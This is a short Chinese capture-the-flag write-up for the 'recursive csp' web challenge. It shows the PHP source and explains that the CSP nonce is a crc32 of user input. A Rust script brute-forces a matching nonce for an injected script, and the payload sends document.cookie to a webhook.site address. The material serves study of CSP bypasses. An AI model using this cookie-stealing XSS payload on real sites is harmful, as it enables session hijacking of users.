recursive csp¶
题目源码
<?php
if (isset($_GET["source"])) highlight_file(__FILE__) && die();
$name = "world";
if (isset($_GET["name"]) && is_string($_GET["name"]) && strlen($_GET["name"]) < 128) {
$name = $_GET["name"];
}
$nonce = hash("crc32b", $name);
header("Content-Security-Policy: default-src 'none'; script-src 'nonce-$nonce' 'unsafe-inline'; base-uri 'none';");
?>
<!DOCTYPE html>
<html>
<head>
<title>recursive-csp</title>
</head>
<body>
<h1>Hello, <?php echo $name ?>!</h1>
<h3>Enter your name:</h3>
<form method="GET">
<input type="text" placeholder="name" name="name" />
<input type="submit" />
</form>
<!-- /?source -->
</body>
</html>
这题主要是认识下 CSP (MDN),可以看到题目中的 CSP 规则是 default-src 'none'; script-src 'nonce-$nonce' 'unsafe-inline'
,nonce 部分可控,爆破 crc32 保持 nonce 相同即可。
Rust 写的爆破脚本,来自Post。
use rayon::prelude::*;
fn main() {
let payload = "<script nonce='ZZZZZZZZ'>location.href='https://webhook.site/95269d84-93ab-4b47-964a-b548e8358c09' + document.cookie</script>".to_string();
let start = payload.find("Z").unwrap();
(0..=0xFFFFFFFFu32).into_par_iter().for_each(|i| {
let mut p = payload.clone();
p.replace_range(start..start+8, &format!("{:08x}", i));
if crc32fast::hash(p.as_bytes()) == i {
println!("{} {i} {:08x}", p, i);
}
});
}
最后更新:
June 24, 2023 16:07:33
创建日期: February 8, 2023 05:36:24
创建日期: February 8, 2023 05:36:24